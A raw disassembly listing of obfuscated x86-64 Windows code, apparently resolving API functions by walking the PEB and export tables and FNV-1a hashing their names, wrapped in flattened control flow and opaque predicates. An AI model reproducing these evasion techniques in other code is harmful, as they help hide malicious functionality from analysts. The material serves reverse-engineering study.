movzx eax, byte [rbp + 0x308]
cmp byte [rbp + 0x310], 0
mov edx, 0x11daf85
mov esi, 0x35e60346
cmovne edx, esi
test al, al
cmovne edx, esi
jmp 0x140509d70
mov edx, 0xaafcbf56
jmp 0x140509d70
mov edx, 0x35e60346
jmp 0x140509d70
mov eax, dword [r8 + 0x3c]
mov dword [rbp + 0x340], eax
mov edx, edi
jmp 0x140509d70
mov eax, dword [0x140b856b0]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edx, 0xa8f315e1
mov eax, 0x787992e0
cmove edx, eax
cmp dword [0x140b856bc], 0xa
cmovl edx, eax
jmp 0x140509cb0
mov rax, qword [rbp + 0x350]
mov eax, dword [rax]
mov edx, dword [rbp + 0x328]
add rdx, r8
mov qword [rcx + 8], rdx
mov dword [rcx + 0x10], eax
mov edx, 0x787992e0
jmp 0x140509cb0
mov qword [rbp + 0x358], rbx
mov rax, qword [rbp + 0x358]
mov edx, dword [rax + 0x88]
mov dword [rbp + 0x328], edx
add rax, 0x8c
mov qword [rbp + 0x350], rax
mov edx, 0xd5357ea2
jmp 0x140509cb0
cmp eax, 0x54816a39
jle 0x14050a112
cmp eax, 0x678522cd
jg 0x14050a1fc
cmp eax, 0x54816a3a
je 0x140509b50
cmp eax, 0x578cae4c
jne 0x140509b80
mov rcx, qword [rbp + 0x2c8]
mov eax, dword [rbp + 0x2f4]
mov rdx, qword [rcx]
mov qword [rbp + 0x328], rdx
mov rcx, qword [rcx + 8]
mov edx, dword [rcx + 0x1c]
add rdx, qword [rbp + 0x328]
mov qword [rbp + 0x340], rdx
mov ecx, dword [rcx + 0x24]
add rcx, qword [rbp + 0x328]
mov qword [rbp + 0x350], rcx
mov ecx, dword [0x140b856c8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b856cc], 0xa
setl dl
or dl, cl
mov edi, 0x7fb25dbb
mov ecx, 0xcc941bd9
cmovne edi, ecx
mov edx, 0x7fb25dbb
mov ecx, 0x904316b4
cmovne edx, ecx
mov ecx, 0xd7747bb6
nop word cs:[rax + rax]
cmp ecx, 0xcc941bd8
jle 0x140509f70
cmp ecx, 0xcc941bd9
je 0x140509f85
cmp ecx, 0xd7747bb6
je 0x140509f8c
cmp ecx, 0x7fb25dbb
jne 0x140509f40
mov rcx, qword [rbp + 0x350]
mov ecx, 0x904316b4
jmp 0x140509f40
cmp ecx, 0x904316b4
je 0x140509f90
cmp ecx, 0xaa8072d6
jne 0x140509f40
jmp 0x14050b1fc
mov ecx, 0xaa8072d6
jmp 0x140509f40
mov ecx, edx
jmp 0x140509f40
lea rbx, [rax + rax]
add rbx, qword [rbp + 0x350]
mov ecx, edi
jmp 0x140509f40
cmp eax, 0xc6f20e73
jg 0x14050a225
cmp eax, 0xbf050585
je 0x14050b243
cmp eax, 0xc127d0cf
jne 0x140509b80
mov rcx, qword [rbp + 0x2c8]
mov eax, dword [rbp + 0x2f4]
mov rdx, qword [rcx]
mov qword [rbp + 0x328], rdx
mov rcx, qword [rcx + 8]
mov edx, dword [rcx + 0x1c]
add rdx, qword [rbp + 0x328]
mov qword [rbp + 0x340], rdx
mov ecx, dword [rcx + 0x24]
add rcx, qword [rbp + 0x328]
mov qword [rbp + 0x350], rcx
mov ecx, dword [0x140b856c8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b856cc], 0xa
setl dl
or dl, cl
mov edi, 0x7fb25dbb
mov ecx, 0xcc941bd9
cmovne edi, ecx
mov edx, 0x7fb25dbb
mov ecx, 0x904316b4
cmovne edx, ecx
mov ecx, 0xd7747bb6
nop word [rax + rax]
cmp ecx, 0xcc941bd8
jle 0x14050a070
cmp ecx, 0xcc941bd9
je 0x14050a085
cmp ecx, 0xd7747bb6
je 0x14050a08c
cmp ecx, 0x7fb25dbb
jne 0x14050a040
mov rcx, qword [rbp + 0x350]
mov ecx, 0x904316b4
jmp 0x14050a040
cmp ecx, 0x904316b4
je 0x14050a090
cmp ecx, 0xaa8072d6
jne 0x14050a040
jmp 0x14050b26c
mov ecx, 0xaa8072d6
jmp 0x14050a040
mov ecx, edx
jmp 0x14050a040
lea rbx, [rax + rax]
add rbx, qword [rbp + 0x350]
mov ecx, edi
jmp 0x14050a040
cmp eax, 0x6e0eb6
jg 0x14050a24b
cmp eax, 0xeda2da80
je 0x14050b292
cmp eax, 0xf7a293cd
jne 0x140509b80
cmp byte [rbp + 0x34d], 0
mov eax, 0x67a5d55f
mov ecx, 0x8c09fc77
cmovne eax, ecx
mov rcx, qword [rbp + 0x278]
mov qword [rbp + 0x158], rcx
jmp 0x140509b80
cmp eax, 0x8476c3ac
je 0x14050b2b0
cmp eax, 0x89226ce8
je 0x14050b2d2
cmp eax, 0x893675d2
jne 0x140509b80
mov eax, 0x27f650d4
jmp 0x140509b80
cmp eax, 0x27f650d4
je 0x14050b2f0
cmp eax, 0x3177222f
je 0x14050b306
cmp eax, 0x4a37e19d
jne 0x140509b80
mov eax, dword [rbp + 0x1a0]
sub eax, 1
mov dword [rbp + 0x2f4], eax
mov eax, 0xb6e7bce8
mov ecx, 0x9ded286e
cmovb eax, ecx
jmp 0x140509b80
cmp eax, 0xb6e7bce8
je 0x14050b3c4
cmp eax, 0xbb9489f0
je 0x14050b760
jmp 0x140509b80
cmp eax, 0x16917014
je 0x14050b416
cmp eax, 0x1da00b46
jne 0x140509b80
mov eax, dword [rbp + 0x188]
mov dword [rbp + 0x2d8], eax
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x288]
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe981f3db
mov ecx, 0x9d99dea0
jmp 0x140509b69
cmp eax, 0x9d99dea0
je 0x14050b676
cmp eax, 0x9ded286e
jne 0x140509b80
mov eax, 0x14dac0dc
mov dword [rbp + 0x190], 0
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x198], rcx
jmp 0x140509b80
cmp eax, 0x678522ce
je 0x14050b6a2
cmp eax, 0x67a5d55f
jne 0x140509b80
mov eax, 0x542f178
xor ecx, ecx
mov qword [rbp + 0x170], rcx
jmp 0x140509b80
cmp eax, 0xc6f20e74
je 0x14050b6c9
cmp eax, 0xe981f3db
jne 0x140509b80
mov eax, dword [rbp + 0x2d8]
mov eax, 0x9d99dea0
jmp 0x140509b80
cmp eax, 0x6e0eb7
jne 0x14050b749
mov eax, 0x1da00b46
mov dword [rbp + 0x188], 0
mov rcx, qword [rbp + 0x168]
mov qword [rbp + 0x1a8], rcx
jmp 0x140509b80
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x2c8], rax
lea rax, [rbp + 0x330]
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x180]
mov eax, 0xb44ab987
nop dword [rax]
cmp eax, 0xeb4ae1f5
jle 0x14050a2f0
cmp eax, 0xeb4ae1f6
je 0x14050a307
cmp eax, 0x59073b2b
je 0x14050a767
cmp eax, 0x7fb451c5
jne 0x14050a2b0
mov eax, dword [0x140b856f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeb4ae1f6
mov ecx, 0x59073b2b
jmp 0x14050ac38
cmp eax, 0xb44ab987
je 0x14050abc7
cmp eax, 0xb87e0235
jne 0x14050a2b0
jmp 0x14050b6d3
mov ecx, dword [0x140b856f8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, dword [0x140b856fc]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b85700], 0xa
setl dl
or dl, cl
mov r8d, 0x6bf73ec2
mov ecx, 0x7d25aa8e
cmovne r8d, ecx
mov r9d, 0x6bf73ec2
mov ecx, 0xf94ca7ae
cmovne r9d, ecx
mov ecx, dword [0x140b85704]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b85708], 0xa
setl dl
or dl, cl
mov edx, 0x798dd711
mov ecx, 0x3d31fb61
cmovne edx, ecx
mov ebx, 0x798dd711
mov ecx, 0xce3f1919
cmovne ebx, ecx
mov edi, 0x7f908019
mov ecx, 0x8983f824
cmovne edi, ecx
mov esi, 0x7f908019
mov ecx, 0xcdc628d5
cmovne esi, ecx
test al, 1
sete byte [rbp + 0x300]
mov eax, dword [0x140b8570c]
mov r10d, 0xb9c6c537
mov ecx, 0x8480fe86
cmove r10d, ecx
cmp eax, 0xa
setl byte [rbp + 0x304]
cmovl r10d, ecx
mov eax, 0x352e0503
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb9c6c536
jg 0x14050a420
cmp eax, 0x8480fe86
je 0x14050a45d
cmp eax, 0x856c5805
je 0x14050abdf
cmp eax, 0xb6475c17
jne 0x14050a3e0
mov rax, qword [rbp + 0x310]
add rax, 0x10
mov qword [rbp + 0x328], rax
mov eax, 0x856c5805
jmp 0x14050a3e0
cmp eax, 0xb9c6c537
je 0x14050a467
cmp eax, 0x538ccb85
je 0x14050a4e3
cmp eax, 0x352e0503
jne 0x14050a3e0
mov cl, byte [rbp + 0x300]
cmp byte [rbp + 0x304], 0
mov eax, 0xb9c6c537
mov r14d, 0x538ccb85
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x14050a3e0
mov eax, 0xb6475c17
jmp 0x14050a3e0
mov rax, qword gs:[0x60]
mov qword [rbp + 0x350], rax
mov ecx, 0x7b6aac1d
nop dword [rax]
cmp ecx, 0x6bf73ec1
jle 0x14050a4b0
cmp ecx, 0x6bf73ec2
je 0x14050a4d0
cmp ecx, 0x7b6aac1d
je 0x14050a4de
cmp ecx, 0x7d25aa8e
jne 0x14050a480
mov ecx, 0xe8c45ee4
jmp 0x14050a480
cmp ecx, 0xe8c45ee4
je 0x14050a563
cmp ecx, 0xf94ca7ae
jne 0x14050a480
mov rax, qword [rbp + 0x350]
mov ecx, r8d
jmp 0x14050a480
mov rcx, qword [rbp + 0x350]
mov ecx, 0xf94ca7ae
jmp 0x14050a480
mov ecx, r9d
jmp 0x14050a480
mov rax, qword gs:[0x60]
mov qword [rbp + 0x350], rax
mov ecx, 0x7b6aac1d
nop dword [rax + rax]
cmp ecx, 0x6bf73ec1
jle 0x14050a530
cmp ecx, 0x6bf73ec2
je 0x14050a550
cmp ecx, 0x7b6aac1d
je 0x14050a55e
cmp ecx, 0x7d25aa8e
jne 0x14050a500
mov ecx, 0xe8c45ee4
jmp 0x14050a500
cmp ecx, 0xe8c45ee4
je 0x14050a662
cmp ecx, 0xf94ca7ae
jne 0x14050a500
mov rax, qword [rbp + 0x350]
mov ecx, r8d
jmp 0x14050a500
mov rcx, qword [rbp + 0x350]
mov ecx, 0xf94ca7ae
jmp 0x14050a500
mov ecx, r9d
jmp 0x14050a500
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x340], rax
mov ecx, 0xba46d6b1
jmp 0x14050a590
mov rax, qword [rbp + 0x350]
mov ecx, 0xce3f1919
nop dword [rax + rax]
mov eax, ecx
cmp ecx, 0xce3f1918
jg 0x14050a5c0
cmp eax, 0xba46d6b0
jg 0x14050a5f0
cmp eax, 0x8983f824
je 0x14050a63a
mov ecx, eax
cmp eax, 0x987da1af
jne 0x14050a590
mov ecx, ebx
jmp 0x14050a590
cmp eax, 0x798dd710
jle 0x14050a61b
cmp eax, 0x798dd711
je 0x14050a57f
mov ecx, eax
cmp eax, 0x7f908019
jne 0x14050a590
mov rax, qword [rbp + 0x340]
mov ecx, 0xcdc628d5
jmp 0x14050a590
mov ecx, esi
cmp eax, 0xba46d6b1
je 0x14050a590
mov ecx, eax
cmp eax, 0xcdc628d5
jne 0x14050a590
mov rax, qword [rbp + 0x340]
add rax, 0x18
mov qword [rbp + 0x350], rax
mov ecx, edi
jmp 0x14050a590
cmp eax, 0xce3f1919
jne 0x14050a644
mov rax, qword [rbp + 0x350]
mov rax, qword [rax]
mov qword [rbp + 0x358], rax
mov ecx, edx
jmp 0x14050a590
mov ecx, 0x987da1af
jmp 0x14050a590
mov ecx, eax
cmp eax, 0x3d31fb61
jne 0x14050a590
mov rax, qword [rbp + 0x358]
mov eax, 0x538ccb85
jmp 0x14050a3e0
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x340], rax
mov ecx, 0xba46d6b1
jmp 0x14050a690
mov rax, qword [rbp + 0x350]
mov ecx, 0xce3f1919
nop word [rax + rax]
mov eax, ecx
cmp ecx, 0xce3f1918
jg 0x14050a6c0
cmp eax, 0xba46d6b0
jg 0x14050a6f0
cmp eax, 0x8983f824
je 0x14050a73a
mov ecx, eax
cmp eax, 0x987da1af
jne 0x14050a690
mov ecx, ebx
jmp 0x14050a690
cmp eax, 0x798dd710
jle 0x14050a71b
cmp eax, 0x798dd711
je 0x14050a67e
mov ecx, eax
cmp eax, 0x7f908019
jne 0x14050a690
mov rax, qword [rbp + 0x340]
mov ecx, 0xcdc628d5
jmp 0x14050a690
mov ecx, esi
cmp eax, 0xba46d6b1
je 0x14050a690
mov ecx, eax
cmp eax, 0xcdc628d5
jne 0x14050a690
mov rax, qword [rbp + 0x340]
add rax, 0x18
mov qword [rbp + 0x350], rax
mov ecx, edi
jmp 0x14050a690
cmp eax, 0xce3f1919
jne 0x14050a744
mov rax, qword [rbp + 0x350]
mov rax, qword [rax]
mov qword [rbp + 0x358], rax
mov ecx, edx
jmp 0x14050a690
mov ecx, 0x987da1af
jmp 0x14050a690
mov ecx, eax
cmp eax, 0x3d31fb61
jne 0x14050a690
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x310], rax
mov eax, r10d
jmp 0x14050a3e0
mov ecx, dword [0x140b856f8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, dword [0x140b856fc]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b85700], 0xa
setl dl
or dl, cl
mov r8d, 0x6bf73ec2
mov ecx, 0x7d25aa8e
cmovne r8d, ecx
mov r9d, 0x6bf73ec2
mov ecx, 0xf94ca7ae
cmovne r9d, ecx
mov ecx, dword [0x140b85704]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b85708], 0xa
setl dl
or dl, cl
mov edx, 0x798dd711
mov ecx, 0x3d31fb61
cmovne edx, ecx
mov ebx, 0x798dd711
mov ecx, 0xce3f1919
cmovne ebx, ecx
mov edi, 0x7f908019
mov ecx, 0x8983f824
cmovne edi, ecx
mov esi, 0x7f908019
mov ecx, 0xcdc628d5
cmovne esi, ecx
test al, 1
sete byte [rbp + 0x300]
mov eax, dword [0x140b8570c]
mov r10d, 0xb9c6c537
mov ecx, 0x8480fe86
cmove r10d, ecx
cmp eax, 0xa
setl byte [rbp + 0x304]
cmovl r10d, ecx
mov eax, 0x352e0503
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb9c6c536
jg 0x14050a880
cmp eax, 0x8480fe86
je 0x14050a8bd
cmp eax, 0x856c5805
je 0x14050ac04
cmp eax, 0xb6475c17
jne 0x14050a840
mov rax, qword [rbp + 0x310]
add rax, 0x10
mov qword [rbp + 0x328], rax
mov eax, 0x856c5805
jmp 0x14050a840
cmp eax, 0xb9c6c537
je 0x14050a8c7
cmp eax, 0x538ccb85
je 0x14050a943
cmp eax, 0x352e0503
jne 0x14050a840
mov cl, byte [rbp + 0x300]
cmp byte [rbp + 0x304], 0
mov eax, 0xb9c6c537
mov r14d, 0x538ccb85
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x14050a840
mov eax, 0xb6475c17
jmp 0x14050a840
mov rax, qword gs:[0x60]
mov qword [rbp + 0x350], rax
mov ecx, 0x7b6aac1d
nop dword [rax]
cmp ecx, 0x6bf73ec1
jle 0x14050a910
cmp ecx, 0x6bf73ec2
je 0x14050a930
cmp ecx, 0x7b6aac1d
je 0x14050a93e
cmp ecx, 0x7d25aa8e
jne 0x14050a8e0
mov ecx, 0xe8c45ee4
jmp 0x14050a8e0
cmp ecx, 0xe8c45ee4
je 0x14050a9c3
cmp ecx, 0xf94ca7ae
jne 0x14050a8e0
mov rax, qword [rbp + 0x350]
mov ecx, r8d
jmp 0x14050a8e0
mov rcx, qword [rbp + 0x350]
mov ecx, 0xf94ca7ae
jmp 0x14050a8e0
mov ecx, r9d
jmp 0x14050a8e0
mov rax, qword gs:[0x60]
mov qword [rbp + 0x350], rax
mov ecx, 0x7b6aac1d
nop dword [rax + rax]
cmp ecx, 0x6bf73ec1
jle 0x14050a990
cmp ecx, 0x6bf73ec2
je 0x14050a9b0
cmp ecx, 0x7b6aac1d
je 0x14050a9be
cmp ecx, 0x7d25aa8e
jne 0x14050a960
mov ecx, 0xe8c45ee4
jmp 0x14050a960
cmp ecx, 0xe8c45ee4
je 0x14050aac2
cmp ecx, 0xf94ca7ae
jne 0x14050a960
mov rax, qword [rbp + 0x350]
mov ecx, r8d
jmp 0x14050a960
mov rcx, qword [rbp + 0x350]
mov ecx, 0xf94ca7ae
jmp 0x14050a960
mov ecx, r9d
jmp 0x14050a960
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x340], rax
mov ecx, 0xba46d6b1
jmp 0x14050a9f0
mov rax, qword [rbp + 0x350]
mov ecx, 0xce3f1919
nop dword [rax + rax]
mov eax, ecx
cmp ecx, 0xce3f1918
jg 0x14050aa20
cmp eax, 0xba46d6b0
jg 0x14050aa50
cmp eax, 0x8983f824
je 0x14050aa9a
mov ecx, eax
cmp eax, 0x987da1af
jne 0x14050a9f0
mov ecx, ebx
jmp 0x14050a9f0
cmp eax, 0x798dd710
jle 0x14050aa7b
cmp eax, 0x798dd711
je 0x14050a9df
mov ecx, eax
cmp eax, 0x7f908019
jne 0x14050a9f0
mov rax, qword [rbp + 0x340]
mov ecx, 0xcdc628d5
jmp 0x14050a9f0
mov ecx, esi
cmp eax, 0xba46d6b1
je 0x14050a9f0
mov ecx, eax
cmp eax, 0xcdc628d5
jne 0x14050a9f0
mov rax, qword [rbp + 0x340]
add rax, 0x18
mov qword [rbp + 0x350], rax
mov ecx, edi
jmp 0x14050a9f0
cmp eax, 0xce3f1919
jne 0x14050aaa4
mov rax, qword [rbp + 0x350]
mov rax, qword [rax]
mov qword [rbp + 0x358], rax
mov ecx, edx
jmp 0x14050a9f0
mov ecx, 0x987da1af
jmp 0x14050a9f0
mov ecx, eax
cmp eax, 0x3d31fb61
jne 0x14050a9f0
mov rax, qword [rbp + 0x358]
mov eax, 0x538ccb85
jmp 0x14050a840
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x340], rax
mov ecx, 0xba46d6b1
jmp 0x14050aaf0
mov rax, qword [rbp + 0x350]
mov ecx, 0xce3f1919
nop word [rax + rax]
mov eax, ecx
cmp ecx, 0xce3f1918
jg 0x14050ab20
cmp eax, 0xba46d6b0
jg 0x14050ab50
cmp eax, 0x8983f824
je 0x14050ab9a
mov ecx, eax
cmp eax, 0x987da1af
jne 0x14050aaf0
mov ecx, ebx
jmp 0x14050aaf0
cmp eax, 0x798dd710
jle 0x14050ab7b
cmp eax, 0x798dd711
je 0x14050aade
mov ecx, eax
cmp eax, 0x7f908019
jne 0x14050aaf0
mov rax, qword [rbp + 0x340]
mov ecx, 0xcdc628d5
jmp 0x14050aaf0
mov ecx, esi
cmp eax, 0xba46d6b1
je 0x14050aaf0
mov ecx, eax
cmp eax, 0xcdc628d5
jne 0x14050aaf0
mov rax, qword [rbp + 0x340]
add rax, 0x18
mov qword [rbp + 0x350], rax
mov ecx, edi
jmp 0x14050aaf0
cmp eax, 0xce3f1919
jne 0x14050aba4
mov rax, qword [rbp + 0x350]
mov rax, qword [rax]
mov qword [rbp + 0x358], rax
mov ecx, edx
jmp 0x14050aaf0
mov ecx, 0x987da1af
jmp 0x14050aaf0
mov ecx, eax
cmp eax, 0x3d31fb61
jne 0x14050aaf0
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x310], rax
mov eax, r10d
jmp 0x14050a840
lea rax, [rbp + 0x330]
mov qword [rbp + 0x308], rax
mov eax, 0x7fb451c5
jmp 0x14050a2b0
mov rax, qword [rbp + 0x328]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x308]
mov qword [rcx], rax
mov qword [rbp + 0x338], rax
mov eax, 0x59073b2b
jmp 0x14050a2b0
mov rax, qword [rbp + 0x328]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x308]
mov qword [rcx], rax
mov qword [rbp + 0x338], rax
mov eax, dword [0x140b856f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeb4ae1f6
mov ecx, 0xb87e0235
cmove eax, ecx
cmp dword [0x140b856f4], 0xa
cmovl eax, ecx
jmp 0x14050a2b0
mov eax, 0xadd06607
jmp 0x140509b80
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x150], rax
mov eax, dword [0x140b856e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b856e4], 0xa
setl cl
or cl, al
mov edx, 0xd9536939
mov eax, 0x526c4a1b
cmovne edx, eax
mov edi, 0xd9536939
mov eax, 0x18424c
cmovne edi, eax
mov r8d, 0x487c4989
mov eax, 0x44405ebe
cmovne r8d, eax
mov r14d, 0x487c4989
mov eax, 0xec8d2f6a
cmovne r14d, eax
mov r9d, 0x32217ee9
mov eax, 0xfe732f8f
cmovne r9d, eax
mov r11d, 0x32217ee9
mov eax, 0x319b1022
cmovne r11d, eax
mov eax, dword [0x140b856e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b856ec], 0xa
setl cl
or cl, al
mov ecx, 0x1936587e
mov eax, 0x3450bef1
cmovne ecx, eax
mov dword [rbp + 0x2c4], ecx
mov r10d, 0x1936587e
mov eax, 0x2aa70969
cmovne r10d, eax
mov esi, 0xfa2e6c52
jmp 0x14050ad30
mov esi, 0x2aa70969
nop word cs:[rax + rax]
nop dword [rax]
mov ebx, esi
cmp esi, 0xf5d8201
jle 0x14050ad70
cmp ebx, 0x3450bef0
jg 0x14050adb0
cmp ebx, 0xf5d8202
je 0x14050ae36
cmp ebx, 0x1936587e
je 0x14050ad1d
mov esi, ebx
cmp ebx, 0x2aa70969
jne 0x14050ad30
mov esi, dword [rbp + 0x2c4]
jmp 0x14050ad30
cmp ebx, 0xc03ffea9
jg 0x14050ae14
cmp ebx, 0x89731815
je 0x14050ae54
mov esi, r10d
cmp ebx, 0x97bcf3cc
je 0x14050ad30
mov esi, ebx
cmp ebx, 0xa396aca4
jne 0x14050ad30
mov esi, 0x89731815
jmp 0x14050ad30
cmp ebx, 0x3450bef1
je 0x14050ae6f
cmp ebx, 0x41e78b31
je 0x14050ae85
mov esi, ebx
cmp ebx, 0x6fa5b8b5
jne 0x14050ad30
mov esi, dword [rbp + 0x2bc]
mov dword [rbp + 0x300], esi
mov dword [rbp + 0x304], ecx
lea rbx, [rax + 1]
mov qword [rbp + 0x358], rbx
mov bl, byte [rax]
mov byte [rbp + 0x34f], bl
cmp byte [rbp + 0x34f], 0
mov esi, 0x41e78b31
mov ebx, 0xf5d8202
cmove esi, ebx
jmp 0x14050ad30
cmp ebx, 0xce861a73
je 0x14050b12a
cmp ebx, 0xfa2e6c52
jne 0x14050b197
mov esi, 0x97bcf3cc
jmp 0x14050ad30
mov r15d, dword [rbp + 0x304]
mov esi, 0xce861a73
mov r12d, 1
mov r13d, dword [rbp + 0x304]
jmp 0x14050ad30
mov r15d, dword [rbp + 0x2b0]
mov esi, 0xce861a73
xor r12d, r12d
mov r13d, dword [rbp + 0x300]
jmp 0x14050ad30
mov esi, 0x6fa5b8b5
mov ecx, 0x811c9dc5
mov rax, qword [rbp + 0x150]
jmp 0x14050ad30
mov dword [rbp + 0x2c0], ecx
mov dword [rbp + 0x2e4], r13d
mov dword [rbp + 0x2f8], r12d
mov dword [rbp + 0x2dc], r15d
mov ecx, r10d
movsx ebx, byte [rbp + 0x34f]
mov r15d, dword [rbp + 0x304]
mov dword [rbp + 0x310], ebx
mov r10d, 0x99cb2414
mov esi, 0x796ae0dd
jmp 0x14050aee0
mov ebx, dword [rbp + 0x350]
xor ebx, r15d
imul r13d, ebx, 0x1000193
mov r10d, edx
nop word [rax + rax]
mov ebx, r10d
cmp r10d, 0xefa59d0
jle 0x14050af30
cmp ebx, 0x44405ebd
jle 0x14050af60
cmp ebx, 0x526c4a1a
jle 0x14050afd2
cmp ebx, 0x776aeffa
je 0x14050b09e
mov r10d, r14d
cmp ebx, 0x796ae0dd
je 0x14050aee0
mov r10d, ebx
cmp ebx, 0x526c4a1b
jne 0x14050aee0
jmp 0x14050b15c
cmp ebx, 0xec8d2f69
jg 0x14050afa0
cmp ebx, 0xbe589b90
jg 0x14050b00a
cmp ebx, 0x99cb2414
je 0x14050b0b0
mov r10d, ebx
cmp ebx, 0xae8ad92c
jne 0x14050aee0
mov r10d, r11d
jmp 0x14050aee0
cmp ebx, 0x319b1021
jg 0x14050b03c
cmp ebx, 0xefa59d1
je 0x14050b0cb
mov r10d, ebx
cmp ebx, 0x171b7c71
jne 0x14050aee0
mov r10d, 0xefa59d1
mov r12d, dword [rbp + 0x328]
jmp 0x14050aee0
cmp ebx, 0x18424b
jg 0x14050b068
cmp ebx, 0xec8d2f6a
je 0x14050b0da
mov r10d, ebx
cmp ebx, 0xfe732f8f
jne 0x14050aee0
mov r10d, 0xbe589b91
jmp 0x14050aee0
cmp ebx, 0x44405ebe
je 0x14050b0f1
mov r10d, ebx
cmp ebx, 0x487c4989
jne 0x14050aee0
mov ebx, dword [rbp + 0x310]
mov ebx, dword [rbp + 0x310]
mov ebx, dword [rbp + 0x310]
mov r10d, 0xec8d2f6a
jmp 0x14050aee0
cmp ebx, 0xbe589b91
je 0x14050b0fc
mov r10d, ebx
cmp ebx, 0xd9536939
jne 0x14050aee0
mov ebx, dword [rbp + 0x350]
mov ebx, dword [rbp + 0x350]
mov r10d, 0x18424c
jmp 0x14050aee0
cmp ebx, 0x319b1022
je 0x14050b112
mov r10d, ebx
cmp ebx, 0x32217ee9
jne 0x14050aee0
mov ebx, dword [rbp + 0x310]
mov r10d, 0x319b1022
jmp 0x14050aee0
cmp ebx, 0x18424c
je 0x14050aec4
mov r10d, ebx
cmp ebx, 0xc34b97b
jne 0x14050aee0
cmp byte [rbp + 0x34c], 0
mov r10d, 0x776aeffa
mov ebx, 0xae8ad92c
cmovne r10d, ebx
jmp 0x14050aee0
mov r10d, 0xefa59d1
mov r12d, dword [rbp + 0x310]
jmp 0x14050aee0
mov ebx, dword [rbp + 0x310]
cmp ebx, 0x41
setge byte [rbp + 0x34c]
mov r10d, 0xc34b97b
jmp 0x14050aee0
mov dword [rbp + 0x350], r12d
mov r10d, edi
jmp 0x14050aee0
mov ebx, dword [rbp + 0x310]
or ebx, 0x20
mov dword [rbp + 0x328], ebx
mov r10d, r8d
jmp 0x14050aee0
mov r10d, 0x171b7c71
jmp 0x14050aee0
cmp byte [rbp + 0x34b], 0
mov r10d, 0x776aeffa
cmovne r10d, esi
jmp 0x14050aee0
mov ebx, dword [rbp + 0x310]
cmp ebx, 0x5b
setl byte [rbp + 0x34b]
mov r10d, r9d
jmp 0x14050aee0
mov dword [rbp + 0x308], r13d
test r12d, r12d
mov esi, 0xc03ffeaa
mov eax, 0x6fa5b8b5
cmove esi, eax
mov rax, qword [rbp + 0x358]
mov ebx, dword [rbp + 0x308]
mov dword [rbp + 0x2bc], ebx
mov ecx, r15d
jmp 0x14050ad30
mov dword [rbp + 0x340], r13d
mov ebx, dword [rbp + 0x340]
mov dword [rbp + 0x2b0], ebx
mov esi, 0xa396aca4
mov r10d, ecx
mov r15d, dword [rbp + 0x2dc]
mov r12d, dword [rbp + 0x2f8]
mov r13d, dword [rbp + 0x2e4]
mov ecx, dword [rbp + 0x2c0]
jmp 0x14050ad30
mov esi, ebx
cmp ebx, 0xc03ffeaa
jne 0x14050ad30
mov eax, dword [rbp + 0x308]
mov dword [rbp + 0x2b4], eax
mov eax, 0xbf050585
lea r11, [rbp + 0x338]
jmp 0x140509b80
mov rax, qword [rbp + 0x2c8]
mov rcx, qword [rax + 8]
mov edx, 0xf7c4658e
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf7c4658e
je 0x14050b1f5
cmp edx, 0x4fbde1db
jne 0x14050b1e0
jmp 0x14050b6dd
mov edx, 0x4fbde1db
jmp 0x14050b1e0
mov qword [rbp + 0x358], rbx
mov rax, qword [rbp + 0x358]
movzx eax, word [rax]
mov rcx, qword [rbp + 0x340]
mov eax, dword [rcx + rax*4]
add rax, qword [rbp + 0x328]
mov qword [rbp + 0x2d0], rax
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc127d0cf
mov ecx, 0x6c4781c
jmp 0x140509b69
mov eax, dword [rbp + 0x2b4]
cmp eax, 0x7e1b3ec5
mov eax, 0x4a37e19d
mov ecx, 0x54816a3a
cmove eax, ecx
mov ecx, dword [rbp + 0x2f4]
mov dword [rbp + 0x1a0], ecx
jmp 0x140509b80
mov qword [rbp + 0x358], rbx
mov rax, qword [rbp + 0x358]
mov rax, qword [rbp + 0x340]
mov rax, qword [rbp + 0x328]
mov eax, 0x578cae4c
jmp 0x140509b80
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc6f20e74
mov ecx, 0x8476c3ac
jmp 0x140509b69
mov eax, 0x14dac0dc
mov dword [rbp + 0x190], 1
